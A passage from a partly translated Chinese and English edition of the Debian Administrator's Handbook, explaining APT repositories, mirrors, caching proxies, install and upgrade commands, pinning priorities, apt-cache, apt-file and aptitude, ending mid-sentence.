所有 Debian 镜像站都会包含实验性的软件包，包括因为达不到质量要求尚未被纳入不稳定版的软件包 — 通常是开发中的版本或发布前的前置版本(alpha、beta、rc 等)。软件包在经过修改后就会被放上来，多少会带来点问题。在能力强的高级用户的协助下，维护者会努力找出并修复这些问题。经过第一阶段后，软件包会移到不稳定版仓库中，会有更多的用户以更详细的方式测试它。

实验性软件通常只有不在乎系统崩溃并且有能力自行修复的用户才会使用。用户可以导入此等软件包并测试其功能、检查是否满足其需求。这就是 Debian 的诉求，加入 APT 的 sources.list 内，并不表示该软件包可顺利使用，应加入下面这行：

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. 使用其他镜像

The sources.list examples in this chapter refer to package repositories hosted on deb.debian.org. Those URLs will redirect you to servers which are close to you and which are managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of the files across the world, and to deliver them as fast as possible to users. The CDN companies that Debian is working with are Debian partners who are offering their services freely to Debian. While none of those servers are under direct control of Debian, the fact that the whole archive is sealed by GPG signatures makes it a non-issue.

→ https://deb.debian.org/

对deb.debian.org的性能不满意的挑剔的用户可以尝试在官方镜像列表中找到更好的镜像：

→ https://www.debian.org/mirror/list

当不知道那个镜像最适合自己时，这个列表没那么有用。幸运的是，Debian保留了DNS条目表ftp.country-code.debian.org（例如ftp.us.debian.org用于美国，ftp.fr.debian.org用于法国等），它涵盖了很多国家，并指向某个国家中的一个（或多个）最佳镜像。

之前使用 httpredir.debian.org 作为 deb.debian.org 的另一个选择。此服务会标识最近的镜像（在广泛镜像列表中，主要使用GeoIP）并重定向APT请求到该镜像。由于可靠性问题此服务已弃用，现在 httpredir.debian.org 提供与 deb.debian.org 相同的基于CDN的服务。

6.1.5. 非官方来源：mentors.debian.net

高级用户们为一些重新编译过的软件建立了众多的非官方的 Debian 软件源 — Ubuntu 使用他们的个人包存（PPA）档服务 — 程序员提供他们编写的软件给所有人，甚至有 Debian 开发人员在线提供他们的软件包的预览版本。

mentors.debian.net 站点比较有意思（虽然它只提供源码包），它搜集Debian开发者候选人员制作的软件包，以及那些希望创建Debian软件包又不想经历成为Debian开发者整套流程的那些志愿者的软件包。这些软件包提供时没有任何质量保证；请确保您在将它们用于生产环境之前检查它们的来源和完整性并进行测试。

社区 debian.net 站点

debian.net 域名不是一个 Debian 项目的官方源。每个 Debian 开发者都可基于自己用途而使用此域名。这些网址包含一些非官方服务（有时为个人站点），其主机不属于项目本身而由 Debian 开发者设置，甚至还有将要迁移到debian.org的项目原型。有两个理由来解释为什么这些项目原型会留在debian.net：或者是没有人做出足够的努力将其迁移到官方服务（ 位于debian.org 域名上，具备一定维护保证），或者是服务争议太大以至于无法官方化。

安装一个包意味着需要给包的创建者以 root 权限，因为其决定了以该身份运行的初始化脚本的内容。官方的 Debian 包由志愿者创建，志愿者经过指派和评估，且能封装软件包，因而软件包的来源与完整性可以确认。

一般地，你要当心来源未知以及没有位于任一 Debian 官方服务器上的软件包：要评估包创建者的可信度，并检查包的完整性。

GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org

The Debian project frequently releases new stable versions of their distribution, rendering old releases eventually outdated and unsupported (see 第 1.6 节 “发布周期”). The repositories belonging to these releases are then removed from the official mirrors, but can still be accessed using the service at archive.debian.org. Note, that this service allows access to any of the old Debian releases, but does not provide the source package for every binary package offered.

The snapshot.debian.org service, introduced in April 2010, can be used to “go backwards in time” and to find an old binary or source version of a package not longer contained in the Debian archives. It can be used, for example, to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix. This service does not only offer source and binary packages from older releases, but also versions superseeded by regular maintainer uploads.

6.1.6. Debian 软件包缓存代理

当一整个网络的机器被配置为使用同样的远程服务器并下载同样的更新包时，管理员会知道有一个当作网络-本地缓存器的中介代理是有好处的（参见侧边栏术语 缓存）。

您可以配置 APT 使用一个“标准”的代理（参见第 6.2.4 节 “配置选项” 获取 APT 相关内容，参见第 11.6 节 “HTTP/FTP 代理”获取代理相关内容），Debian 体系提供了一个解决问题的更佳手段。本节中所述的专用软件比普通的代理缓存更加智能，因为它们可依赖于 APT 软件源的特定结构（例如，它们了解单独的文件在什么时间废弃与否，并由此来调整在保持阶段的时间）。

apt-cacher与apt-cacher-ng的工作方式类似代理缓存服务器。对于外部请求，APT 的sources.list 保持不变，但是 APT 被配置为把它们作为代理使用。

另一方面，approx，工作方式则类似一个 HTTP 服务器，在它的顶级 URL 地址上“镜像”任意数量的远程软件源。这些顶级目录与远程 URL 之间的映射存储于/etc/approx/approx.conf中：

# <name>   <repository-base-url>

debian     https://deb.debian.org/debian

security   http://security.debian.org/debian-security

approx 默认通过一个systemd socket在9999端口运行，并需要用户调整sources.list 文件来指向 approx 服务器：

# Sample sources.list pointing to a local approx server

deb http://localhost:9999/security bullseye-security main contrib non-free

deb http://localhost:9999/debian   bullseye main contrib non-free

6.2. aptitude、apt-get和 apt 命令

APT 是个原先有图形接口的大计划。以包括核心应用程序的程序库为基础，且第一个前端 apt-get — 基于命令行 — 也包括在项目开发中。apt 是 APT 的第二个基于命令行的前端，包括若干 apt-get 错误的处理。

Both tools are built on top of the same library and are thus very close, but the default behavior of apt has been improved for interactive use and to actually do what most users expect. The APT developers reserve the right to change the public interface of this tool to further improve it. Conversely, the public interface of apt-get is well defined and will not change in any backwards incompatible way. It is thus the tool that you want to use when you need to script package installation requests.

其他众多的图形界面以外部项目形式出现：synaptic、aptitude（它同时包含文本模式界面和图形界面 — 即使尚未完成）、wajig等等。最为推荐的界面，apt，会在本节示例中使用。注意，尽管 apt-get 与 aptitude 的命令行语法也非常类似。在三个命令存在较大差异时，将会详述差异。

6.2.1. 初始化

For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection and configuration, the operation can take a while, since it involves downloading a certain number of (usually compressed) files (Packages, Sources, Translation-language-code), which have gradually become bigger and bigger as Debian has developed (at least 10-16 MB of data for the main section). Of course, installing from a CD-ROM/DVD set does not require any downloading — in this case, the operation is very fast.

提示 增量更新

The aim of the apt update command is to download for each package source the corresponding Packages (or Sources) file. However, even after a xz compression, these files can remain rather large (the Packages.xz for the main section of Unstable takes more than 8 MB). If you wish to update regularly, these downloads can take up a lot of time.

To speed up the process, APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the Packages file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For Stable and Testing, which change less, the gain is even more noticeable.

然而，有的时候仍需要下载整个 Packages 文件，尤其是上回升级是很久以前的事且不适合增量式升级。若网络速度极快但机器的处理器性能不足以应付升级，下载省下的时间还不足以弥补电脑计算新版的时间 (从旧版开始逐一地升级)。在这种情况下，可以使用配置参数 Acquire::PDiffs 并设置为 false。

$ sudo apt -o "Acquire::PDiffs=false" update

Acquire::*选项控制下载的其它方面，甚至是下载方法。Acquire::Languages可以限制或禁止下载Translation-language-code文件，并节省更多时间。全部信息请参考apt.conf(5).

6.2.2. 安装和卸载

通过APT，软件包可以从系统中添加或移除，命令分别为apt install软件包、apt remove软件包。在以上两种情况中，APT 将会自动安装必要的依赖包或者删除依赖于删除包的软件包。apt purge软件包命令包含一个彻底删除 — 相关的配置文件也会被删除。

提示 多次安装同一批软件包

在几台电脑上安装同一批软件包会很实用。这很容易做到。

首先，从电脑中取得所安装软件包的列表作为用于复制的“模板”。

$ dpkg --get-selections >pkg-list↵

pkg-list 文件内容是已安装软件包的清单。然后，用以下的指令把 pkg-list 文件复制在欲更新的电脑：

## 更新已知软件包的 dpkg 数据库↵

# avail=`mktemp`↵

# apt-cache dumpavail > "$avail"↵

# dpkg --merge-avail "$avail"↵

# rm -f "$avail"↵

## 更新 dpkg 的选定项↵

# dpkg --set-selections < pkg-list↵

## 通知 apt-get 安装已选定的软件包↵

# apt-get dselect-upgrade↵

第一个命令记录在 dpkg 库中可用的软件包列表，然后 dpkg --set-selections 恢复选中你想要安装的包，apt-get 激活执行所需要的操作！aptitude 没有这样的命令。

提示 同时进行卸载和安装

在命令 apt (或 apt-get、或 aptitude) 加入后缀就可以同时安装指定的软件包与移除其他软件包。在 apt install 命令加入 “-” 及希望移除的软件包名称。在 apt remove 命令加入 “+” 及希望安装的软件包名称。

下面的例子展示两种不同方法来安装package1 和卸载package2。

# apt install package1 package2-

# apt remove package1+ package2

此方法也可用于把不同的软件包排除在外，比如由于Recommends自动安装的软件包。一般，依赖解决者会用此作为寻找其他办法的线索。

技巧 apt --reinstall 和 aptitude reinstall

在软件包中的文件发生移除或更改时，系统有时候可能会受损。恢复这些文件最简单的方法是重新安装受影响的软件包。不幸的是，包管理系统会认为后者已安装而拒绝重新安装；为了避免此情况，使用apt和apt-get命令的 --reinstall选项。如下命令会重新安装postfix，即使它已存在：

# apt --reinstall install postfix

aptitude命令行略微不同，但可通过aptitude reinstall postfix获得同样的结果。

该问题不与dpkg同时出现，但管理员极少直接使用它。

注意！使用apt --reinstall命令恢复受到攻击时变更的软件包，不会当然地恢复系统原本的样子。第 14.7 节 “处理被攻陷的机器”详述了受损系统要采取的必要步骤。

这些命令不会恢复配置文件。但正如在 第 5.2.3 节 “Checksums, List of Configuration Files, et al.” （参阅侧边栏 更进一步 强制 dpkg 询问配置文件问题）中描述，您可以使用要求安装未修改的版本，甚至还原任何已删除的配置文件。

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

某些软件包不会将 /etc 中的配置文件一起发布。而是在安装时复制一个配置框架或通过脚本编写配置。例如，/etc/inputrc 文件是 /usr/share/readline/inputrc 的副本。在这种情况下，上面的命令将不起作用。

如果文件 sources.list 包含了数个发布版本，可以指定要安装软件包的版本。可以通过 apt install package=version命令要求特定版本号，但以标明其初始发行版本 (Stable, Testing 或者 Unstable）的方式— 通过 apt install package/distribution — 更为推荐。倘若 sources.list文件所述软件源之一仍可用的情况下，通过此命令可以回溯一个软件包的旧版本 (比如您知晓其情况良好的情况)。否则，snapshot.debian.org 归档可以补救(参阅侧边栏 GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org)。

例 6.4. 安装 spamassassin 的 Unstable 版本

# apt install spamassassin/unstable

如果要安装没有关联存储库的简单 .deb 文件形式的软件包，仍然可以使用APT将其依赖项一起安装（前提是依赖项在配置的存储库中可用），使用简单命令： apt install ./path-to-the-package.deb。前缀 ./ 必须明确，表示要安装的是一个文件名，而不是其中一个存储库中可用的软件包名称。

扩展 .deb 文件的缓存

APT 在/var/cache/apt/archives/ 目录中保存每个下载的 .deb文件的副本。在频繁更新的情况下，该目录下每个软件包的数个版本可能会占用大量磁盘空间；您应当经常整理它们。可以使用如下两个命令：apt-get clean完全清空整个目录；apt-get autoclean仅移除不会再下载的软件包（因为它们已从 Debian 镜像中消失）和明显无用的软件包（配置参数APT::Clean-Installed可以阻止移除安装中的.deb文件）。

6.2.3. 系统升级

常规升级是推荐的，因为它们包含最新的安全更新。要升级，可使用apt upgrade、apt-get upgrade、aptitude safe-upgrade（当然需在apt update之后）。该命令会查找要升级的已安装包，同时不移除任何包。也就是说，目标是确保可能的侵入式升级最小化。apt-get命令略苛刻于 aptitude 或 apt命令，因为它会拒绝安装未预先安装的软件包。

apt 会选择最新的版本号 (除了来自 Experimental 与 stable-backports，其缺省忽略版本号)。若在 sources.list 内指定 测试版 或 不稳定版 ，则 apt upgrade 会把 稳定版 系统切换至 测试版 或 不稳定版，这些可能不是您要的。

搜索升级的软件包时需把特定的发行版告知 apt，采用 -t 或 --target-release 选项，然后是发行版的名称 (如：apt -t stable upgrade)。为了避免每次使用 apt 都需指定版本，可以把 APT::Default-Release "stable"; 加在 /etc/apt/apt.conf.d/local 内。

对于非常重要的升级，如从一个 Debian 主版本变更为下一版本，你需要使用apt full-upgrade。使用此命令，apt将会完全升级，即使必须移除一些废弃包或者安装新的依赖包。这也适用于日常使用 Debian Unstable并每天跟随其演化的用户。它是如此简便以至于几乎无需解释：APT的声誉基于此项强大的功能。

不同于 apt 与 aptitude，apt-get 不能用 full-upgrade 命令。反而，您应使用 apt-get dist-upgrade (“升级发行版”)，此古老且知名的命令也被 apt 与 aptitude 接受，相当的便利。

这些操作的结果记录到 /var/log/apt/history.log 和 /var/log/apt/term.log，而 dpkg 的日志记录到文件 /var/log/dpkg.log。

6.2.4. 配置选项

除了已提及的配置项目，还可在 /etc/apt/apt.conf.d/ 文件夹内增加 APT 的其他配置文件或编辑 /etc/apt/apt.conf 本身。让 APT 告知 dpkg 忽略由 DPkg::options { "--force-overwrite"; } 引发的错误。

If the Web can only be accessed through a proxy, add a line like Acquire::http::proxy "http://yourproxy:3128". For an FTP proxy, write Acquire::ftp::proxy "ftp://yourproxy". To discover more configuration options, read the apt.conf(5) manual page (for details on manual pages, see 第 7.1.1 节 “手册页面”).

基础知识 结尾是 .d 的文件夹名称

结尾是 .d 数据使用机会愈来愈多。每个文件夹内的配置档分为多个文件。所以，在 /etc/apt/apt.conf.d/ 内的文件都是供 APT 配置之用。APT 以字母顺序纳入他们，最后一个文件可以覆盖前的面的配置。

此结构对机器的管理者与软件包维护带来若干弹性。确实，管理者容易修改软件的配置，只需在有问题的文件夹添加文件而不必变动既有的文件。需要调整另一个软件的配置，以确保与既有软件相依，软件包维护者以同样的方法就能达成。Debian 的政策禁止修改其他软件包的配置档 — 只有被授权者才能修改。软件包升级时，用户应保留选择配置档版本的权力。外部修改此文件时将启动该选项，管理者就知道是外来的修改。

Without a .d directory, it is impossible for an external package to change the settings of a program by modifying its configuration file directly. Instead it must either invite the user to do it themselves and lists the operations to be done in the file /usr/share/doc/package/README.Debian, or it must create a file diversion for the configuration file using the dpkg-divert command and then install its own configuration file for the software in question. The latter is sometimes used by third party packages which try to handle configuration files of software components they use.

视应用程序的需要，可直接使用或由外部脚本管理 .d 文件夹，将所有文件串联成一个配置档。更动文件夹内容后，必须再运行脚本，才能纳入该等变动。还有一件重要的事，千万不要直接运行自动生成的配置档，因为下次运行脚本后将失去所有的东西。受到环境的限制才被迫选择指定的方法 (直接使用 .d 文件夹或由该文件夹产生的文件)，不论何种方法，配置的弹性收益远大于其带来的复杂性。Exim 4 邮件服务器是产生文件方法的范例之一：可用多个文件 (/etc/exim4/conf.d/*) 配置串联成 /var/lib/exim4/config.autogenerated 再由 update-exim4.conf 命令运行。

6.2.5. 软件包优先级管理

配置 APT 最重要的层面之一是管理每个软件包来源的优先性。例如，从 测试版、不稳定 或 实验版 中选取一个或多个软件包。可以指定每个软件包的优先性 (视其版本或发行版，同个软件包可以有多个优先性)。这些优先性将影响 APT 的行为：每个软件包总是选择最优先的版本 (除非旧于已安装的版本或优先性小于 1000)。

APT 设置若干缺省的优先性。已安装软件包版本的优先性是 100。未安装版本缺省优先性为 500，若是另个发布的目标则可跳至 990 (以 -t 命令行选项或 APT::Default-Release 配置指令调整)。

可以在 /etc/apt/preferences.d/ 内添加包含条目的文件或向 /etc/apt/preferences 文件添加条目，指名受影响软件包名称、版本、出处及其新的优先性。

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitly requested by the user, see 第 6.2.2 节 “安装和卸载”). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

更具体地说，一个软件包的优先性是

< 0

将永远不会被安装，

1..99

则只会在没有安装其他版本时才安装，

100..499

只有在没有安装其他较新版本或在其他发行版中可用的版本时才会安装，

500....989

只有在目标分发中没有较新或可用版本时才安装，

990..1000

除非已安装较新版本，否则都会安装，

> 1000

强制安装，即使APT会降级到较旧的版本。

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 11 for Debian Bullseye). Let's have a look at its syntax through some realistic case studies of this mechanism.

特例实验性的优先性

若把 Experimental 列在 sources.list 文件内，几乎不会安装对应软件包，因为其 APT 优先性为1。当然这是特例，避免用户意外安装 Experimental 软件包。这些软件包只能以指令 aptitude install 软件包名称/experimental 安装 — 用户键入此指令时自然知道其风险。还是有可能 (虽然 不 推荐) 把 Experimental 内的软件包视为其他发行版而给予优先性 100。在 /etc/apt/preferences 文件内给予特定的条目就行了：

Package: *

Pin: release a=experimental

Pin-Priority: 500

暂时假设您只需用到 Debian 稳定版的软件包。除非特别指明，不会安装其他版本的软件包。可以在 /etc/apt/preferences 文件内写入以下条目：

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable 设置发行版的名称。o=Debian 限制来自 “Debian” 的软件包。

Let's now assume that you have a server with several local programs depending on the version 5.28 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl

Pin: version 5.28*

Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in 第 6.3.1 节 “The apt-cache policy Command”.

文件 /etc/apt/preferences 和 /etc/apt/preferences.d/ 的参考文档在手册的 apt_preferences(5)，使用 man apt_preferences 命令就可看到。

提示 在 /etc/apt/preferences 内的注释

/etc/apt/preferences 文件没有放置注释的官方语法，但可以在每个条目的 “Explanation” 字段置入若干说明：

Explanation: The package xserver-xorg-video-intel provided

Explanation: in experimental can be used safely

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. 在多个发行版中工作

apt 是很奇妙的工具，可从其他发行版提取软件包。例如，安装 稳定版 系统之后，或许想要在不偏离系统原来状态下，试试 测试版 或 不稳定版 的软件包。

混用不同版本软件包出问题时，即使您偶尔会在混用不同发行版的包时遇到问题，apt 也可以处理得极为恰当把风险降到最低。最好的方法是把所有的发行版置于 /etc/apt/sources.list 文件内 (某些人总是置入三个发行版，不过还是要记得 不稳定版 是有经验用户的专属) 且在 APT::Default-Release 参数中设置偏好的发行版 (见 第 6.2.3 节 “系统升级”) 。

假设 稳定版 是您的参考版本，但是 测试版 与 不稳定版 也列在 sources.list 文件内。在这个情况下，您可使用 apt install 软件包名称/testing 安装来自 测试版 的软件包。若因相依性未满足而安装失败，可以在 测试版 内加入 -t testing 参数。同样的方式也适用于 不稳定版。

In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (第 6.3.1 节 “The apt-cache policy Command”) to verify the given priorities.

每件事都围绕在 APT 只处理高于或等于已安装版本号软件包的前提下 (假设 /etc/apt/preferences 还未强迫优先性高于 1000 的某些软件包)。

假设从L 稳定版 安装第一个软件包的第一版且从 测试版 与 不稳定版 安装同软件包的第二版与第三版。已安装的版本优先性为 100 但在 稳定版 (相同的) 优先性为 990 (因为它是目标发布版的一部分)。在 测试版 与 不稳定版 的软件包其优先性为 500 (缺省不安装版本的优先性)。获选者为优先性 990 的版本1。软件包 “留在 稳定版 内”。

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to the version in Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: *

Pin: release a=unstable

Pin-Priority: 490

6.2.7. 自动追踪已安装的软件包

apt 的必要功能之一是经由相依性追踪已安装的软件包。这些软件包称为 “自动”，且通常包括程序库。

有了这些信息后，移除软件包时，软件包管理器可以计算不再需要的自动软件包 (因为没有 “手动安装” 软件包相依于他)。apt-get autoremove 或 apt autoremove 会清除该软件包。aptitude 没有这个命令，因为在标识之后会马上自动移除。在所有的情况下，清除消息中列出所有受影响的软件包。

把软件包标记为自动是个好习惯，不需要时就被自动移除。apt-mark auto 软件包名称 会标记该软件包为自动而 apt-mark manual 软件包名称 则不标记。aptitude markauto 与 aptitude unmarkauto 作用相同只是功能较多 (见 第 6.5.1 节 “aptitude”)。aptitude 的命令交互接口也可查看多个软件包的 “自动标识”。

人们可能希望知道为什么自动安装软件包出现在系统内。由于从命令行取得该等信息，可使用 aptitude why 软件包名称 (apt 与 apt-get 没有类似的功能)：

$ aptitude why python3-debian

i   aptitude         Suggests apt-xapian-index

p   apt-xapian-index Depends  python3-debian (>= 0.1.14)

其他 deborphan 与 debfoster

早年 apt、apt-get 与 aptitude 还不能追踪自动软件包时，以另外两个指令产不必要软件包清单：deborphan 与 debfoster。

deborphan scans the libs and oldlibs sections by default (in the absence of supplementary instructions) looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

debfoster 还有其他用法，极类似 APT：维护一个已安装的软件包以及需要互调用的软件包清单。系统内出现新的软件包且 debfoster 不知道它需要那些软件包，则在屏幕显示其相依的软件包清单。此程序提供新的选择：移除软件包 (或许连同相依者)，标记为必要，或暂时忽略它。

6.2.8. APT Patterns

Patterns allow you to specify complex search queries to select the packages you want to install or show. They were first implemented for aptitude (see 第 6.5 节 “前端：aptitude、synaptic”), but now APT can also make use of them.

For example, we can use apt list ?automatic to list all the packages automatically installed. To find packages automatically installed no longer depended upon by manually installed packages the pattern ?garbage can be used.

Logic patterns can be combined with other packages to form more complex expressions. For instance, we could use a pattern like ?and(PATTERN, PATTERN). See apt-patterns(7) and glob(7) for all the patterns you can use and the complex expressions you can create with them.

6.3. The apt-cache 命令

apt-cache 命令可显示 APT 内部数据库里的多种信息。这些信息是从 sources.list 文件内聚集不同来源的缓存。于运行 apt update 运作时产生的。

术语 缓存

缓存是一种暂存系统，当常用访问方法昂贵 (性能方面) 时，用于加快常用数据的取用速度。这个概念应用范围极广，从微处理器核心至高端保存系统。

In the case of APT, the reference Packages files are those located on Debian mirrors. That said, it would be very ineffective to go through the network for every search that we might want to do in the database of available packages. That is why APT stores a copy of those files (in /var/lib/apt/lists/) and searches are done within those local files. Similarly, /var/cache/apt/archives/ contains a cache of already downloaded packages (see sidebar 扩展 .deb 文件的缓存) to avoid downloading them again if you need to reinstall them after a removal.

另一方面，必须运行 apt update 更新缓存。否则您的搜索结果会错过Debian镜像站发行版的最新更新。

The apt-cache command can do keyword-based package searches with apt-cache search keyword. It can also display the headers of the package's available versions with apt-cache show package. This command provides the package's description, its dependencies, the name of its maintainer, etc. Note that apt search, apt show, aptitude search, and aptitude show work in the same way.

其他 axi-cache

apt-cache search 是基础的工具，使用 grep 搜索软件包描述。输入过多键词可能返回大量结果或完全无数据。

axi-cache search trem，从另一方面来说提供更好的结果，以相关性排序。使用 Xapian 搜索引擎且它是 apt-xapian-index 软件包的一部分索引所有软件包的信息 (进一步来说，就像是来自所有 Debian 软件包的 .desktop 档)。显示标签 (见专栏 更进一步标签字段) 并在毫秒之间送回结果。

$ axi-cache search package use::searching

axi-cache search package use::searching

13 results found.

Results 1-13:

100% packagesearch - GUI for searching packages and viewing package information

87% debtags - Debian Package Tags support tools

86% whohas - query multiple distributions' package archives

84% recoll - Personal full text search package

82% apt-forktracer - utility for tracking non-official package versions

[..]

66% apt - commandline package manager

More terms: debian dpkg search debtags whohas forktracer dctrl

More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Some features are more rarely used. For instance, apt-cache dumpavail displays the headers of all available versions of all packages. apt-cache pkgnames displays the list of all the packages which appear at least once in the cache.

One of the features which might come in handy more often is apt-cache policy, described in the following section.

6.3.1. The apt-cache policy Command

The apt-cache policy command displays the pinning priorities and distribution properties of each package source as explained in 第 6.2.5 节 “软件包优先级管理”. It can also show the pinning priorities for all available versions and sources of a package. For the sources.list example used in 例 6.2 “给 Debian 稳定版用户的 /etc/apt/sources.list 文件” and APT::Default-Release set to "bullseye", the output will look like this:

$ apt-cache policy

Package files:

100 /var/lib/dpkg/status

release a=now

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/non-free amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/contrib amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/main amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64

origin deb.debian.org

500 http://security.debian.org bullseye-security/main amd64 Packages

release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64

origin security.debian.org

Pinned packages:

apt-cache policy 可以显示指定软件包所有可用版本的固定优先级和源。

$ apt-cache policy limnoria

limnoria:

Installed: 2021.06.15-1

Candidate: 2021.06.15-1

Version table:

2021.07.21-1~bpo11+1 100

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

*** 2021.06.15-1 990

990 https://deb.debian.org/debian bullseye/main amd64 Packages

100 /var/lib/dpkg/status

Although there is a newer version of limnoria in the bullseye-backports repository, APT will not install it automatically based on the priority. One would have to use apt install limnoria/bullseye-backports or add a higher pinning priority to /etc/apt/preferences.d/limnoria.pref:

Package: limnoria

Pin: release o=Debian Backports, a=bullseye-backports

Pin-Priority: 1001

$ apt-cache policy limnoria

limnoria:

Installed: 2021.06.15-1

Candidate: 2021.07.21-1~bpo11+1

Version table:

2021.07.21-1~bpo11+1 1001

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

*** 2021.06.15-1 990

990 https://deb.debian.org/debian bullseye/main amd64 Packages

100 /var/lib/dpkg/status

6.4. apt-file 命令

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. By default it downloads Contents*.pdiff files as described in sidebar 提示 增量更新 to reduce the amount of data necessary to be downloaded. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

数据库更新后，命令 apt-file search pattern 会列出包含文件名或模式匹配的所有软件包。

$ apt-file search bin/axi-cache

apt-xapian-index: /usr/bin/axi-cache

命令 apt-file list package 会列出软件包附带的所有文件。

秘诀 列出软件包内容和查找文件对应的软件包

与 apt-file list 类似，命令 dpkg -L package 列出已安装软件包的所有文件。要查找属于软件包的本地文件，使用 dpkg -S file （参阅 第 5.4.3 节 “查询 dpkg 的数据库，并检查 .deb 文件”）。要列出不属于任何已安装软件包的本地文件，可以参考 cruft 或 cruft-ng 软件包。

6.5. 前端：aptitude、synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (frontends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test frontend for libapt-pkg but its success tends to obscure this fact.

6.5.1. aptitude

aptitude 是交互程序，可用于终端机的半图形模式，可浏览已安装与可用软件包，搜索所有可用信息，并选择安装或移除的软件包。此程序专为管理者而设计，缺省的行为比 apt-get 的行为更智能，且其界面更容易理解。

图 6.1. aptitude 软件包管理器

开始的时候，aptitude 依状态显示所有的软件包 (已安装、未安装、或已安装但不在镜像站 — 其他的区块显示工作、虚拟软件包、与最近才出现在镜像站的新软件包)。还有其他的查看方法，提供主题式浏览。所有的情况下，aptitude 在屏幕显示各主题与软件包的清单。以树状组织主题，可以用 Enter、[ 与 ] 按键展开与收起分支。+ 标示可安装的软件包，- 标示可移除的软件包，_ 标示可清除的软件包 (这些按键也可用类别，对应的行为适用于类别内的所有软件包)。u 更新可用软件包清单，Shift+u 准备全系统的更新。g 切换摘要查看模式(再次键入 g 则应用更改)，q 离开现在的视图。若您在初始的视图，将关闭 aptitude。

文档 aptitude

此区域不包括使用 aptitude 的详情。只专注于提供急救用的工具包。其文档较完整，建议您使用 aptitude-doc-en 软件包内的完整手册 (见 /usr/share/doc/aptitude/html/en/index.html)或 https://www.debian.org/doc/manuals/aptitude/。

键入 / 及搜索的关键词，就能搜索软件包。关键词对应软件包的名称，也可以是用于描述内容 (若前置 ~d、区域 (前置 ~s) 或文档内的其他字词。同样地关键词可以筛选显示软件包的清单：键入 l (如同在 limit 之内) 与其他关键词。

Managing the “automatic flag” of Debian packages (see 第 6.2.7 节 “自动追踪已安装的软件包”) is a breeze with aptitude. It is possible to browse the list of installed packages and mark packages as automatic with Shift+m or to remove the mark with the m key. “Automatic packages” are displayed with an “A” in the list of packages. This feature also offers a simple way to visualize the packages in use on a machine, without all the libraries and dependencies that you don't really care about. The related pattern that can be used with l (to activate the filter mode) is ~i!~M. It specifies that you only want to see installed packages (~i) not marked as automatic (!~M).

工具 在命令行界面使用 aptitude

经由命令行或交互界面可以使用 aptitude 大部分的功能。命令行看来像是 apt-get 与 apt-cache。

也能从命令行使用 aptitude 的高端功能。使用交互版相同的软件包搜索模式。例如，清除 “手动安装” 软件包、本地安装的程序不再需要程序库或 Perl 模块，就可把对应的软件包标示为自动：

